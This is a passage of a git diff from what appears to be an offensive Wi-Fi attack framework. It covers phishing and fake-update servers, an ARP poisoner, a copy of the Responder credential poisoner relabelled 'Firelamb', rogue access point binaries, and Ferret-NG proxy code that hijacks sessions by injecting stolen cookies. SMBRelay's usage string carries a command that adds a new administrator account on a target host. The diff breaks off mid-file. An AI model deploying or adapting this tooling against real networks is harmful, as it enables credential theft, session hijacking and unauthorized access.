self.parent.StationMonitor.addRequests(data,self.DHCPClient.ClientTable.APclients[data],False) + self.DHCPClient.ClientTable.delete_item(data) + self.parent.connectedCount.setText(str(len(self.DHCPClient.ClientTable.APclients.keys()))) + + + + + diff --git a/core/wirelessmode/__init__.py b/core/wirelessmode/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/wirelessmode/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 0000000..c741881 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-slate \ No newline at end of file diff --git a/modules/poisoners/arp_poisoner.py b/modules/poisoners/arp_poisoner.py index d3c443c..e8da5ce 100644 --- a/modules/poisoners/arp_poisoner.py +++ b/modules/poisoners/arp_poisoner.py @@ -171,7 +171,7 @@ def ConfigureEdits(self): if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) - self.txt_mac.setText(Refactor.get_interface_mac(x['activated'][0])) + self.txt_mac.setText(Refactor.getHwAddr(x['activated'][0])) self.connect(self.ComboIface, QtCore.SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) n = self.interfaces['all'] for i,j in enumerate(n): diff --git a/modules/servers/PhishingManager.py b/modules/servers/PhishingManager.py index 8a433b0..c8d1826 100644 --- a/modules/servers/PhishingManager.py +++ b/modules/servers/PhishingManager.py @@ -7,7 +7,6 @@ from core.utility.extract import Beef_Hook_url from core.utility.settings import frm_Settings from core.utils import ThreadPhishingServer -from core.utility.threads import ProcessThread """ Description: @@ -15,7 +14,7 @@ for Phishing attack. Copyright: - Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + Copyright (C) 2015 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -34,7 +33,7 @@ def __init__(self, parent = None): super(frm_PhishingManager, self).__init__(parent) self.label = QtGui.QLabel() self.Main = QtGui.QVBoxLayout() - self.config = frm_Settings() + self.config = frm_Settings.instances[0] self.session = str() self.setWindowTitle('Phishing Manager') self.ThreadTemplates = {'Server':[]} @@ -244,32 +243,17 @@ def start_server(self): elif self.check_custom.isChecked(): self.html = BeautifulSoup(str(self.txt_html.toPlainText()),'lxml') self.CheckHookInjection(self.html,C.TEMPLATE_PH) - self.proc_Web_server = ProcessThread({'python':['-m', - 'SimpleHTTPServer','{}'.format(self.BoxPort.value())]}, - C.TEMP_CUSTOM) - self.proc_Web_server._ProcssOutput.connect(self.get_output_webserver) - self.proc_Web_server.start() - self.ThreadTemplates['Server'].append(self.proc_Web_server) - self.emit(QtCore.SIGNAL('Activated( QString )'), 'started') + self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()), + self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()), + directory=C.TEMPLATE_PH,session=self.session) + self.ThreadTemplates['Server'].append(self.ServerHTTPLoad) + self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal) self.btn_start_template.setEnabled(False) self.btn_stop_template.setEnabled(True) + self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone') + self.ServerHTTPLoad.start() self.StatusServer(True) - - # old thread start web server - # self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()), - # self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()), - # directory=C.TEMPLATE_PH,session=self.session) - # self.ThreadTemplates['Server'].append(self.ServerHTTPLoad) - # self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal) - # self.btn_start_template.setEnabled(False) - # self.btn_stop_template.setEnabled(True) - # self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone') - # self.ServerHTTPLoad.start() - # self.StatusServer(True) - # self.emit(QtCore.SIGNAL('Activated( QString )'),'started') - - def get_output_webserver(self,data): - print data + self.emit(QtCore.SIGNAL('Activated( QString )'),'started') def DirectoryPhishing(self,Path=None): popen('service apache2 stop') @@ -325,7 +309,7 @@ def cloneWebsite(self): return self.btn_Clone_page.setEnabled(False) def killThread(self): - if hasattr(self,'proc_Web_server'): self.proc_Web_server.stop() + if hasattr(self,'ServerHTTPLoad'): self.ServerHTTPLoad.stop() if self.ThreadTemplates['Server'] == []: return for thread in self.ThreadTemplates['Server']: thread.stop() self.ListOutputWid.clear() diff --git a/modules/spreads/update_fake_attack.py b/modules/spreads/update_fake_attack.py index c928e22..37e9fe9 100644 --- a/modules/spreads/update_fake_attack.py +++ b/modules/spreads/update_fake_attack.py @@ -2,8 +2,7 @@ from os import path, remove from shutil import copyfile from core.loaders.models.PackagesUI import * -from core.utility.threads import ProcessThread -import core.utility.constants as C +from core.servers.http_handler.ServerHTTP import ThreadHTTPServerPhishing """ Description: @@ -11,7 +10,7 @@ for Fake update windows. Copyright: - Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -210,17 +209,10 @@ def server_start(self): def threadServer(self,directory,ip): global threadloading - #self.threadHTTP.request.connect(self.logPhising) - if self.rb_windows.isChecked(): - self.path_server = C.TEMP_Win - elif self.rb_java.isChecked(): - self.path_server = C.TEMP_Java - - self.proc_Web_server = ProcessThread({'python': ['-m', - 'SimpleHTTPServer', '80']},self.path_server) - self.proc_Web_server._ProcssOutput.connect(self.logPhising) - threadloading['server'].append(self.proc_Web_server) - self.proc_Web_server.start() + self.threadHTTP = ThreadHTTPServerPhishing(80,directory) + self.threadHTTP.request.connect(self.logPhising) + threadloading['server'].append(self.threadHTTP) + self.threadHTTP.start() self.status.showMessage("::Started >> [HTTP::"+ip+" ::Port 80]") def getpath(self): diff --git a/plugins/bin/hostapd-karma/hostapd b/plugins/bin/hostapd-karma/hostapd new file mode 100755 index 0000000..45c9c37 Binary files /dev/null and b/plugins/bin/hostapd-karma/hostapd differ diff --git a/plugins/bin/hostapd-karma/hostapd_cli b/plugins/bin/hostapd-karma/hostapd_cli new file mode 100755 index 0000000..e8ac2fc Binary files /dev/null and b/plugins/bin/hostapd-karma/hostapd_cli differ diff --git a/plugins/bin/hostapd-mana/hostapd b/plugins/bin/hostapd-mana/hostapd new file mode 100755 index 0000000..d45ce48 Binary files /dev/null and b/plugins/bin/hostapd-mana/hostapd differ diff --git a/plugins/bin/hostapd-mana/hostapd_cli b/plugins/bin/hostapd-mana/hostapd_cli new file mode 100755 index 0000000..b2664af Binary files /dev/null and b/plugins/bin/hostapd-mana/hostapd_cli differ diff --git a/plugins/external/Responder/Responder.py b/plugins/external/Responder/Responder.py index 9919e97..1bd9e04 100755 --- a/plugins/external/Responder/Responder.py +++ b/plugins/external/Responder/Responder.py @@ -39,7 +39,7 @@ options, args = parser.parse_args() if not os.geteuid() == 0: - print "[!] Responder must be run as root." + print "[!] Firelamb must be run as root." sys.exit(-1) elif options.OURIP is None and IsOsX() is True: print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" @@ -54,7 +54,7 @@ settings.Config.ExpandIPRanges() if settings.Config.AnalyzeMode: - print '[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.' + print '[i] Firelamb is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.' class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): diff --git a/plugins/external/Responder/packets.py b/plugins/external/Responder/packets.py index a4c3784..ac5277b 100644 --- a/plugins/external/Responder/packets.py +++ b/plugins/external/Responder/packets.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder +# This file is part of Firelamb # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify diff --git a/plugins/external/Responder/settings.py b/plugins/external/Responder/settings.py index 5d8e22a..5fc5f06 100644 --- a/plugins/external/Responder/settings.py +++ b/plugins/external/Responder/settings.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder +# This file is part of Firelamb # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify @@ -20,7 +20,7 @@ from utils import * -__version__ = 'Responder 2.3' +__version__ = 'Firelamb 2.3' class Settings: @@ -71,23 +71,23 @@ def populate(self, options): # Config parsing config = ConfigParser.ConfigParser() - config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) + config.read(os.path.join(self.ResponderPATH, 'Firelamb.conf')) # Servers - self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) - self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) - self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) - self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) - self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) - self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) - self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) - self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) - self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) - self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) - self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + self.HTTP_On_Off = self.toBool(config.get('Firelamb Core', 'HTTP')) + self.SSL_On_Off = self.toBool(config.get('Firelamb Core', 'HTTPS')) + self.SMB_On_Off = self.toBool(config.get('Firelamb Core', 'SMB')) + self.SQL_On_Off = self.toBool(config.get('Firelamb Core', 'SQL')) + self.FTP_On_Off = self.toBool(config.get('Firelamb Core', 'FTP')) + self.POP_On_Off = self.toBool(config.get('Firelamb Core', 'POP')) + self.IMAP_On_Off = self.toBool(config.get('Firelamb Core', 'IMAP')) + self.SMTP_On_Off = self.toBool(config.get('Firelamb Core', 'SMTP')) + self.LDAP_On_Off = self.toBool(config.get('Firelamb Core', 'LDAP')) + self.DNS_On_Off = self.toBool(config.get('Firelamb Core', 'DNS')) + self.Krb_On_Off = self.toBool(config.get('Firelamb Core', 'Kerberos')) # Db File - self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) + self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Firelamb Core', 'Database')) # Log Files self.LogDir = os.path.join(self.ResponderPATH, 'logs') @@ -95,9 +95,9 @@ def populate(self, options): if not os.path.exists(self.LogDir): os.mkdir(self.LogDir) - self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog')) - self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog')) - self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) + self.SessionLogFile = os.path.join(self.LogDir, config.get('Firelamb Core', 'SessionLog')) + self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Firelamb Core', 'PoisonersLog')) + self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Firelamb Core', 'AnalyzeLog')) self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') @@ -140,14 +140,14 @@ def populate(self, options): self.SSLCert = config.get('HTTPS Server', 'SSLCert') # Respond to hosts - self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) - self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) - self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) - self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) + self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'RespondTo').strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'RespondToName').strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'DontRespondTo').strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'DontRespondToName').strip().split(',')]) # Auto Ignore List - self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) - self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) + self.AutoIgnore = self.toBool(config.get('Firelamb Core', 'AutoIgnoreAfterSuccess')) + self.CaptureMultipleCredentials = self.toBool(config.get('Firelamb Core', 'CaptureMultipleCredentials')) self.AutoIgnoreList = [] # CLI options @@ -174,7 +174,7 @@ def populate(self, options): self.Os_version = sys.platform # Set up Challenge - self.NumChal = config.get('Responder Core', 'Challenge') + self.NumChal = config.get('Firelamb Core', 'Challenge') if len(self.NumChal) is not 16: print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) @@ -186,8 +186,8 @@ def populate(self, options): # Set up logging logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') - logging.warning('Responder Started: %s' % self.CommandLine) - logging.warning('Responder Config: %s' % str(self)) + logging.warning('Firelamb Started: %s' % self.CommandLine) + logging.warning('Firelamb Config: %s' % str(self)) Formatter = logging.Formatter('%(asctime)s - %(message)s') PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') diff --git a/plugins/external/Responder/tools/DHCP.py b/plugins/external/Responder/tools/DHCP.py index 42e25fe..b7dfadc 100755 --- a/plugins/external/Responder/tools/DHCP.py +++ b/plugins/external/Responder/tools/DHCP.py @@ -64,15 +64,15 @@ def color(txt, code = 1, modifier = 0): print '## To inject a DNS server/domain/route on a Windows >= Vista and ##' print '## any linux box, use -R (can be noisy) ##' print '## ##' -print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' +print '## Use `RespondTo` setting in Firelamb.conf for in-scope targets only. ##' print '#############################################################################' print '' print color('[*]', 2, 1), 'Listening for events...' config = ConfigParser.ConfigParser() -config.read(os.path.join(BASEDIR,'Responder.conf')) -RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) -DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) +config.read(os.path.join(BASEDIR,'Firelamb.conf')) +RespondTo = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'RespondTo').strip().split(',')]) +DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Firelamb Core', 'DontRespondTo').strip().split(',')]) Interface = options.Interface Responder_IP = FindLocalIP(Interface) ROUTERIP = options.RouterIP diff --git a/plugins/external/Responder/tools/Icmp-Redirect.py b/plugins/external/Responder/tools/Icmp-Redirect.py index afe8671..c06cbb2 100755 --- a/plugins/external/Responder/tools/Icmp-Redirect.py +++ b/plugins/external/Responder/tools/Icmp-Redirect.py @@ -1,5 +1,5 @@ #! /usr/bin/env python -# NBT-NS/LLMNR Responder +# NBT-NS/LLMNR Firelamb # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # @@ -74,7 +74,7 @@ Interface = options.Interface def Show_Help(ExtraHelpData): - print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") + print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Firelamb is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") print(ExtraHelpData) MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) diff --git a/plugins/external/Responder/tools/SMBRelay.py b/plugins/external/Responder/tools/SMBRelay.py index 8131991..3ee33ea 100755 --- a/plugins/external/Responder/tools/SMBRelay.py +++ b/plugins/external/Responder/tools/SMBRelay.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder +# This file is part of Firelamb # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify @@ -44,9 +44,9 @@ def UserCallBack(op, value, dmy, parser): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) -parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],) +parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Firelamb Quol0eeP/e}X /add &&net localgroup administrators Firelamb /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") -parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') +parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Firelamb Quol0eeP/e}X /ADD"',dest='CMD') parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain") parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") @@ -73,8 +73,8 @@ def UserCallBack(op, value, dmy, parser): Target = options.TARGET Responder_IP = options.Responder_IP -print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com" -print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' +print "\nFirelamb SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com" +print '\033[31m'+'Use this script in combination with Firelamb.py for best results (remember to set SMB = Off in Firelamb.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' #Function used to verify if a previous auth attempt was made. @@ -182,7 +182,7 @@ def SmbRogueSrv139(key,Target,DomainMachineName): conn, addr = s.accept() except error, msg: if "Address already in use" in msg: - print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m' + print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Firelamb.conf..?\nSMB Relay will not work.'+'\033[0m' try: while True: diff --git a/plugins/external/Responder/utils.py b/plugins/external/Responder/utils.py index 6a92c05..b040d0d 100644 --- a/plugins/external/Responder/utils.py +++ b/plugins/external/Responder/utils.py @@ -283,8 +283,8 @@ def StartupMessage(): print "" print "[+] " + "Generic Options:" - print ' %-27s' % "Responder NIC" + '[%s]' % settings.Config.Interface - print ' %-27s' % "Responder IP" + '[%s]' % settings.Config.Bind_To + print ' %-27s' % "Firelamb NIC" + '[%s]' % settings.Config.Interface + print ' %-27s' % "Firelamb IP" + '[%s]' % settings.Config.Bind_To print ' %-27s' % "Challenge set" + '[%s]' % settings.Config.NumChal if settings.Config.Upstream_Proxy: diff --git a/plugins/external/ferretng/ClientRequest.py b/plugins/external/ferretng/ClientRequest.py new file mode 100644 index 0000000..226f6a2 --- /dev/null +++ b/plugins/external/ferretng/ClientRequest.py @@ -0,0 +1,171 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse +import logging +import os +import sys +import random +import re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from core.logger import logger +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() + #self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + log.debug("[ClientRequest] Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'host' in headers: + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + log.info("Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + def handleHostResolvedSuccess(self, address): + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute + + if self.content: + self.content.seek(0,0) + + postData = self.content.read() + + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) + + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + log.debug("[ClientRequest] Sending expired cookies") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif self.urlMonitor.isSecureLink(client, url): + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) + + else: + log.debug("[ClientRequest] Sending request via HTTP") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) + + self.proxyViaHTTP(address, self.method, path, postData, headers, port) + + def handleHostResolvedError(self, error): + log.debug("[ClientRequest] Host resolution error: {}".format(error)) + try: + self.finish() + except: + pass + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + return defer.succeed(address) + else: + return reactor.resolve(host) + + def process(self): + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers, port): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = ServerConnection + #self.reactor.connectTCP(host, 80, connectionFactory) + self.reactor.connectTCP(host, port, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() diff --git a/plugins/external/ferretng/CookieCleaner.py b/plugins/external/ferretng/CookieCleaner.py new file mode 100644 index 0000000..892fce0 --- /dev/null +++ b/plugins/external/ferretng/CookieCleaner.py @@ -0,0 +1,103 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/plugins/external/ferretng/DnsCache.py b/plugins/external/ferretng/DnsCache.py new file mode 100644 index 0000000..f839f23 --- /dev/null +++ b/plugins/external/ferretng/DnsCache.py @@ -0,0 +1,45 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.customAddress = None + self.cache = {} + + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None diff --git a/plugins/external/ferretng/FerretProxy.py b/plugins/external/ferretng/FerretProxy.py new file mode 100644 index 0000000..d95f786 --- /dev/null +++ b/plugins/external/ferretng/FerretProxy.py @@ -0,0 +1,24 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, 